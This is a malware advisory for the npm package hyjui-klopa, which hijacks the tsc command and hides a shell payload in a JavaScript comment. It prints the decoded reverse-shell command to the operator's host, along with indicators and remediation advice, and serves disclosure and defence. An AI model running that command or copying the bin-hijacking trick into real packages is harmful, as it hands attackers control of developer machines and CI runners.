CRITICAL npm Malware

Malicious code in hyjui-klopa (npm)

MAL-2026-20606

Published · Modified

Dependency scanning

Check whether hyjui-klopa is in your codebase

Corgea flags malicious and compromised dependencies with reachability analysis, so you fix the packages that actually run in your application instead of working through the whole lockfile.

Description


__

Source: amazon-inspector (1dc7308ca9b59677cda2644cdac77b0a2ef7b73eb4120f60ea7a2009f6ca620d)

hyjui-klopa is part of the Ghost Compiler campaign, a cluster of npm packages published by the account jikaya497 (jikaya497@gmail.com) between October and November 2026. The weaponized packages in this campaign register themselves as tsc, the TypeScript compiler command, and hide their payload in a file that reads as a JavaScript comment but runs as a shell script.

How it executes: package.json maps bin.tsc to ./index.js, so installing the package links node_modules/.bin/tsc to that file. Whichever package is installed last owns that link, so installing hyjui-klopa after typescript replaces the real compiler. index.js has no shebang line and is marked executable (mode 0755). When a build script, CI step, editor or pre-commit hook runs tsc, the kernel cannot execute the file directly and the shell falls back to interpreting it as a shell script. The command substitution inside what a reviewer reads as a JavaScript comment then runs.

Payload: the comment is disguised as Sentry error-reporting settings (sentry_server=194.163.166.19; protocol=tcp; team=dev; members_id=4445; default=sh) and expands to sh -i >& /dev/tcp/194.163.166.19/4445 0>&1. This connects an interactive shell, running as the user who ran the build, to the operator's host, giving the operator full control of the developer machine or CI runner. The package also ships a two-line .ls script (id>a) used as a capability probe elsewhere in the campaign.

Infrastructure: 194.163.166.19 is the operator's command-and-control host. It also serves a self-hosted npm registry on port 4873 (web.vitemaweed.fr) that other packages from the same publisher pin their dependencies to, and the same reverse-shell command appears encrypted inside the publisher's package juyip-parser-helper.

Indicators: node_modules/.bin/tsc resolving to any package other than typescript; outbound TCP connections to 194.163.166.19 on ports 4445 or 4873; a bin-exposed .js file with no shebang and mode 0755.

Any machine that installed this package and then ran tsc should be treated as compromised: rotate all credentials reachable from that user or CI job and rebuild the host.

Ready to move

Start Securing

Free, no credit card | First findings in minutes